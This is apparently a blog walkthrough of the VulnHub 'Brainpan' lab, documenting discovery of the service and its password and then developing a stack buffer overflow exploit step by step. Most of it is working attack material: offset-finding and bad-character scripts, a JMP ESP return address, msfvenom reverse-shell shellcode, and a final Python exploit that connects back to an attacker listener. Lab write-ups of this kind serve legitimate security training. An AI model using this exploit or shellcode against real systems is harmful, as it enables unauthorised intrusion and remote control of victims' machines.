https://medium.com/@rihazz13/buffer-overflow-brainpan-e48a0a4b61f0

```
PORT      STATE SERVICE VERSION

9999/tcp  open  abyss?

| fingerprint-strings:

|   NULL:

|     _| _|

|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|

|     _|_| _| _| _| _| _| _| _| _| _| _| _|

|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|

|     [__________________________ WELCOME TO BRAINPAN ___________________________]

|_    ENTER THE PASSWORD

10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)

|_http-server-header: SimpleHTTP/0.6 Python/2.7.3

|_http-title: Site doesn't have a title (text/html).
```

http://brainpan:10000/

```
root@kali:/home/kali/Desktop/vulnhub/brainpan# gobuster dir -u http://brainpan:10000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/bin (Status: 301)
```

http://brainpan:10000/bin/

```
root@kali:/home/kali/Downloads# mv brainpan.exe /home/kali/Desktop/vulnhub/brainpan/

root@kali:/home/kali/Desktop/vulnhub/brainpan# strings brainpan.exe

!This program cannot be run in DOS mode.

.text

`.data

.rdata

@.bss

.idata

[^_]

AAAA

AAAA

AAAA
```

```
AAAA

AAAA

AAAA

AAAA

AAAA

[^_]

[get_reply] s = [%s]

[get_reply] copied %d bytes to buffer
```

shitstorm

```
root@kali:/home/kali/Desktop/vulnhub/brainpan# nc brainpan 9999
_|                            _|
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|
                                            _|

[______________________ WELCOME TO BRAINPAN _______________________]
                          ENTER THE PASSWORD

                          >> shitstorm
                          ACCESS GRANTEDroot@kali:/home/kali/Desktop/vulnhub/brainpan#
```

RUN BRAINPAN.EXE IN WIN7

WINDOWS 7 WM INSTALL IMMUNITY DEBUGGER TRANSFER BRAINPAN.EXE OPEN FILE AND F9 TO RUN

```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb
```

```
root@kali:/home/kali/Desktop/vulnhub/brainpan# /usr/bin/msf-pattern_create -l 1000

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1
Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag
4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj
9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0A
n1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1A
q2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5
At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6A
w7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9
Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd
2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5B
g6Bg7Bg8Bg9Bh0Bh1Bh2B

root@kali:/home/kali/Desktop/vulnhub/brainpan# cat script2.py

import sys,socket

host = "192.168.2.169" # IP OF WINDOWS VM

port = 9999



s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

	s.connect((host,port))

	s.recv(1024)

	junk =
b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0A
d1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3
Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj
8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An
0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq
1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4A
t5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw
6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8A
z9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1B
d2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5
Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

	s.sendall(junk)

	print "Sent"



except:

	print "Unable to Connect " + str(host)

	sys.exit(0)
```

```
root@kali:/home/kali/Desktop/vulnhub/brainpan# python script2.py

Sent

EIP: 35724134

root@kali:/home/kali/Desktop/vulnhub/brainpan# /usr/bin/msf-pattern_offset -q 35724134

[*] Exact match at offset 524
```

FROM IMMUNITY DEBUGGER CLICK

VIEW→EXECUTABLE MODULES→BRAINPAN.EXE→SEARCH COMMANDS: JMP ESP

Address: 311712F3

TEST FOR BADCHARS

```
root@kali:/home/kali/Desktop/vulnhub/brainpan# cat badchar.py

import socket,sys


badchars="\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"


payload = "A" * 524 + "\xf3\x12\x17\x31" + "\x90"*16 +badchars

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

      s.connect(('192.168.2.169', 9999))

except:

      print "Error"
```

\x00 is a bad char

CREATING PAYLOAD FOR WINDOWS MACHINE

```
root@kali:/home/kali/Desktop/vulnhub/brainpan# msfvenom -p windows/shell_reverse_tcp LPORT=4444 LHOST=192.168.2.165 -b "\x00" -e x86/shikata_ga_nai -f c
```

```
Payload size: 351 bytes

Final size of c file: 1500 bytes

unsigned char buf[] =

"\xb8\xfd\x51\x38\xea\xdb\xd5\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"

"\x52\x83\xee\xfc\x31\x46\x0e\x03\xbb\x5f\xda\x1f\xbf\x88\x98"

"\xe0\x3f\x49\xfd\x69\xda\x78\x3d\x0d\xaf\x2b\x8d\x45\xfd\xc7"

"\x66\x0b\x15\x53\x0a\x84\x1a\xd4\xa1\xf2\x15\xe5\x9a\xc7\x34"

"\x65\xe1\x1b\x96\x54\x2a\x6e\xd7\x91\x57\x83\x85\x4a\x13\x36"

"\x39\xfe\x69\x8b\xb2\x4c\x7f\x8b\x27\x04\x7e\xba\xf6\x1e\xd9"

"\x1c\xf9\xf3\x51\x15\xe1\x10\x5f\xef\x9a\xe3\x2b\xee\x4a\x3a"

"\xd3\x5d\xb3\xf2\x26\x9f\xf4\x35\xd9\xea\x0c\x46\x64\xed\xcb"

"\x34\xb2\x78\xcf\x9f\x31\xda\x2b\x21\x95\xbd\xb8\x2d\x52\xc9"

"\xe6\x31\x65\x1e\x9d\x4e\xee\xa1\x71\xc7\xb4\x85\x55\x83\x6f"

"\xa7\xcc\x69\xc1\xd8\x0e\xd2\xbe\x7c\x45\xff\xab\x0c\x04\x68"

"\x1f\x3d\xb6\x68\x37\x36\xc5\x5a\x98\xec\x41\xd7\x51\x2b\x96"

"\x18\x48\x8b\x08\xe7\x73\xec\x01\x2c\x27\xbc\x39\x85\x48\x57"

"\xb9\x2a\x9d\xf8\xe9\x84\x4e\xb9\x59\x65\x3f\x51\xb3\x6a\x60"

"\x41\xbc\xa0\x09\xe8\x47\x23\xf6\x45\x45\x16\x9e\x97\x49\x49"

"\x03\x11\xaf\x03\xab\x77\x78\xbc\x52\xd2\xf2\x5d\x9a\xc8\x7f"

"\x5d\x10\xff\x80\x10\xd1\x8a\x92\xc5\x11\xc1\xc8\x40\x2d\xff"

"\x64\x0e\xbc\x64\x74\x59\xdd\x32\x23\x0e\x13\x4b\xa1\xa2\x0a"

"\xe5\xd7\x3e\xca\xce\x53\xe5\x2f\xd0\x5a\x68\x0b\xf6\x4c\xb4"

"\x94\xb2\x38\x68\xc3\x6c\x96\xce\xbd\xde\x40\x99\x12\x89\x04"

"\x5c\x59\x0a\x52\x61\xb4\xfc\xba\xd0\x61\xb9\xc5\xdd\xe5\x4d"

"\xbe\x03\x96\xb2\x15\x80\xa6\xf8\x37\xa1\x2e\xa5\xa2\xf3\x32"

"\x56\x19\x37\x4b\xd5\xab\xc8\xa8\xc5\xde\xcd\xf5\x41\x33\xbc"

"\x66\x24\x33\x13\x86\x6d";
```

```
root@kali:/home/kali/Desktop/vulnhub/brainpan# cat exploitwin.py

import socket,sys


buf=("\xb8\xfd\x51\x38\xea\xdb\xd5\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"

"\x52\x83\xee\xfc\x31\x46\x0e\x03\xbb\x5f\xda\x1f\xbf\x88\x98"

"\xe0\x3f\x49\xfd\x69\xda\x78\x3d\x0d\xaf\x2b\x8d\x45\xfd\xc7"

"\x66\x0b\x15\x53\x0a\x84\x1a\xd4\xa1\xf2\x15\xe5\x9a\xc7\x34"

"\x65\xe1\x1b\x96\x54\x2a\x6e\xd7\x91\x57\x83\x85\x4a\x13\x36"

"\x39\xfe\x69\x8b\xb2\x4c\x7f\x8b\x27\x04\x7e\xba\xf6\x1e\xd9"

"\x1c\xf9\xf3\x51\x15\xe1\x10\x5f\xef\x9a\xe3\x2b\xee\x4a\x3a"

"\xd3\x5d\xb3\xf2\x26\x9f\xf4\x35\xd9\xea\x0c\x46\x64\xed\xcb"

"\x34\xb2\x78\xcf\x9f\x31\xda\x2b\x21\x95\xbd\xb8\x2d\x52\xc9"

"\xe6\x31\x65\x1e\x9d\x4e\xee\xa1\x71\xc7\xb4\x85\x55\x83\x6f"

"\xa7\xcc\x69\xc1\xd8\x0e\xd2\xbe\x7c\x45\xff\xab\x0c\x04\x68"

"\x1f\x3d\xb6\x68\x37\x36\xc5\x5a\x98\xec\x41\xd7\x51\x2b\x96"

"\x18\x48\x8b\x08\xe7\x73\xec\x01\x2c\x27\xbc\x39\x85\x48\x57"

"\xb9\x2a\x9d\xf8\xe9\x84\x4e\xb9\x59\x65\x3f\x51\xb3\x6a\x60"

"\x41\xbc\xa0\x09\xe8\x47\x23\xf6\x45\x45\x16\x9e\x97\x49\x49"

"\x03\x11\xaf\x03\xab\x77\x78\xbc\x52\xd2\xf2\x5d\x9a\xc8\x7f"

"\x5d\x10\xff\x80\x10\xd1\x8a\x92\xc5\x11\xc1\xc8\x40\x2d\xff"

"\x64\x0e\xbc\x64\x74\x59\xdd\x32\x23\x0e\x13\x4b\xa1\xa2\x0a"

"\xe5\xd7\x3e\xca\xce\x53\xe5\x2f\xd0\x5a\x68\x0b\xf6\x4c\xb4"

"\x94\xb2\x38\x68\xc3\x6c\x96\xce\xbd\xde\x40\x99\x12\x89\x04"

"\x5c\x59\x0a\x52\x61\xb4\xfc\xba\xd0\x61\xb9\xc5\xdd\xe5\x4d"

"\xbe\x03\x96\xb2\x15\x80\xa6\xf8\x37\xa1\x2e\xa5\xa2\xf3\x32"

"\x56\x19\x37\x4b\xd5\xab\xc8\xa8\xc5\xde\xcd\xf5\x41\x33\xbc"

"\x66\x24\x33\x13\x86\x6d")


payload = "A" * 524 + "\xf3\x12\x17\x31" + "\x90"*16 + buf

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
        s.connect(('192.168.2.169', 9999))
except:
        print "Error"
```

EXPLOIT FOR BRAINPAN

```
root@kali:/home/kali/Desktop/vulnhub/brainpan# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.2.165 LPORT=1234 R -e x86/shikata_ga_nai -b '\x00' -f c
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] =
\xbd\xb1\x97\xa8\x6d\xd9\xcc\xd9\x74\x24\xf4\x5a\x31\xc9\xb1
\x52\x31\x6a\x12\x83\xc2\x04\x03\xdb\x99\x4a\x98\xe7\x4e\x08
\x63\x17\x8f\x6d\xed\xf2\xbe\xad\x89\x77\x90\x1d\xd9\xd5\x1d
\xd5\x8f\xcd\x96\x9b\x07\xe2\x1f\x11\x7e\xcd\xa0\x0a\x42\x4c
\x23\x51\x97\xae\x1a\x9a\xea\xaf\x5b\xc7\x07\xfd\x34\x83\xba
\x11\x30\xd9\x06\x9a\x0a\xcf\x0e\x7f\xda\xee\x3f\x2e\x50\xa9
\x9f\xd1\xb5\xc1\xa9\xc9\xda\xec\x60\x62\x28\x9a\x72\xa2\x60
\x63\xd8\x8b\x4c\x96\x20\xcc\x6b\x49\x57\x24\x88\xf4\x60\xf3
\xf2\x22\xe4\xe7\x55\xa0\x5e\xc3\x64\x65\x38\x80\x6b\xc2\x4e
\xce\x6f\xd5\x83\x65\x8b\x5e\x22\xa9\x1d\x24\x01\x6d\x45\xfe
\x28\x34\x23\x51\x54\x26\x8c\x0e\xf0\x2d\x21\x5a\x89\x6c\x2e
\xaf\xa0\x8e\xae\xa7\xb3\xfd\x9c\x68\x68\x69\xad\xe1\xb6\x6e
\xd2\xdb\x0f\xe0\x2d\xe4\x6f\x29\xea\xb0\x3f\x41\xdb\xb8\xab
\x91\xe4\x6c\x7b\xc1\x4a\xdf\x3c\xb1\x2a\x8f\xd4\xdb\xa4\xf0
\xc5\xe4\x6e\x99\x6c\x1f\xf9\x66\xd8\x1d\x5c\x0e\x1b\x21\x9a
\x1d\x92\xc7\xc8\xb1\xf3\x50\x65\x2b\x5e\x2a\x14\xb4\x74\x57
\x16\x3e\x7b\xa8\xd9\xb7\xf6\xba\x8e\x37\x4d\xe0\x19\x47\x7b
\x8c\xc6\xda\xe0\x4c\x80\xc6\xbe\x1b\xc5\x39\xb7\xc9\xfb\x60
\x61\xef\x01\xf4\x4a\xab\xdd\xc5\x55\x32\x93\x72\x72\x24\x6d
\x7a\x3e\x10\x21\x2d\xe8\xce\x87\x87\x5a\xb8\x51\x7b\x35\x2c
\x27\xb7\x86\x2a\x28\x92\x70\xd2\x99\x4b\xc5\xed\x16\x1c\xc1
```

```
\x96\x4a\xbc\x2e\x4d\xcf\xcc\x64\xcf\x66\x45\x21\x9a\x3a\x08

\xd2\x71\x78\x35\x51\x73\x01\xc2\x49\xf6\x04\x8e\xcd\xeb\x74

\x9f\xbb\x0b\x2a\xa0\xe9

root@kali:/home/kali/Desktop/vulnhub/brainpan# cat finalexploit.py

import sys,socket

host = "192.168.2.82" # IP OF BRAINPAN

port = 9999


s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

    s.connect((host,port))

    s.recv(1024)

    junk = b"A"*524

    EIP = b'\xf3\x12\x17\x31'

    nops=b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'

    payload =
b'\xbd\xb1\x97\xa8\x6d\xd9\xcc\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x52\x31\x6a\x12\x83\xc2\x04\x03\xdb\x99\x4a\x98\
xe7\x4e\x08\x63\x17\x8f\x6d\xed\xf2\xbe\xad\x89\x77\x90\x1d\xd9\xd5\x1d\xd5\x8f\xcd\x96\x9b\x07\xe2\x1f\x11\x7e
\xcd\xa0\x0a\x42\x4c\x23\x51\x97\xae\x1a\x9a\xea\xaf\x5b\xc7\x07\xfd\x34\x83\xba\x11\x30\xd9\x06\x9a\x0a\xcf\x0e
\x7f\xda\xee\x3f\x2e\x50\xa9\x9f\xd1\xb5\xc1\xa9\xc9\xda\xec\x60\x62\x28\x9a\x72\xa2\x60\x63\xd8\x8b\x4c\x96\x20
\xcc\x6b\x49\x57\x24\x88\xf4\x60\xf3\xf2\x22\xe4\xe7\x55\xa0\x5e\xc3\x64\x65\x38\x80\x6b\xc2\x4e\xce\x6f\xd5\x83
\x65\x8b\x5e\x22\xa9\x1d\x24\x01\x6d\x45\xfe\x28\x34\x23\x51\x54\x26\x8c\x0e\xf0\x2d\x21\x5a\x89\x6c\x2e\xaf\xa
0\x8e\xae\xa7\xb3\xfd\x9c\x68\x68\x69\xad\xe1\xb6\x6e\xd2\xdb\x0f\xe0\x2d\xe4\x6f\x29\xea\xb0\x3f\x41\xdb\xb8\x
ab\x91\xe4\x6c\x7b\xc1\x4a\xdf\x3c\xb1\x2a\x8f\xd4\xdb\xa4\xf0\xc5\xe4\x6e\x99\x6c\x1f\xf9\x66\xd8\x1d\x5c\x0e\x1
b\x21\x9a\x1d\x92\xc7\xc8\xb1\xf3\x50\x65\x2b\x5e\x2a\x14\xb4\x74\x57\x16\x3e\x7b\xa8\xd9\xb7\xf6\xba\x8e\x37\x
4d\xe0\x19\x47\x7b\x8c\xc6\xda\xe0\x4c\x80\xc6\xbe\x1b\xc5\x39\xb7\xc9\xfb\x60\x61\xef\x01\xf4\x4a\xab\xdd\xc5\x
55\x32\x93\x72\x72\x24\x6d\x7a\x3e\x10\x21\x2d\xe8\xce\x87\x87\x5a\xb8\x51\x7b\x35\x2c\x27\xb7\x86\x2a\x28\x92
\x70\xd2\x99\x4b\xc5\xed\x16\x1c\xc1\x96\x4a\xbc\x2e\x4d\xcf\xcc\x64\xcf\x66\x45\x21\x9a\x3a\x08\xd2\x71\x78\x35
\x51\x73\x01\xc2\x49\xf6\x04\x8e\xcd\xeb\x74\x9f\xbb\x0b\x2a\xa0\xe9'


    print "Sending Payload..."

    s.sendall(junk+EIP+nops+payload)

    print "Sent"


except:

    print "Unable to Connect " + str(host)
    sys.exit(0)
```

```
root@kali:/home/kali/Desktop/vulnhub/brainpan# nc -nlvp 1234
```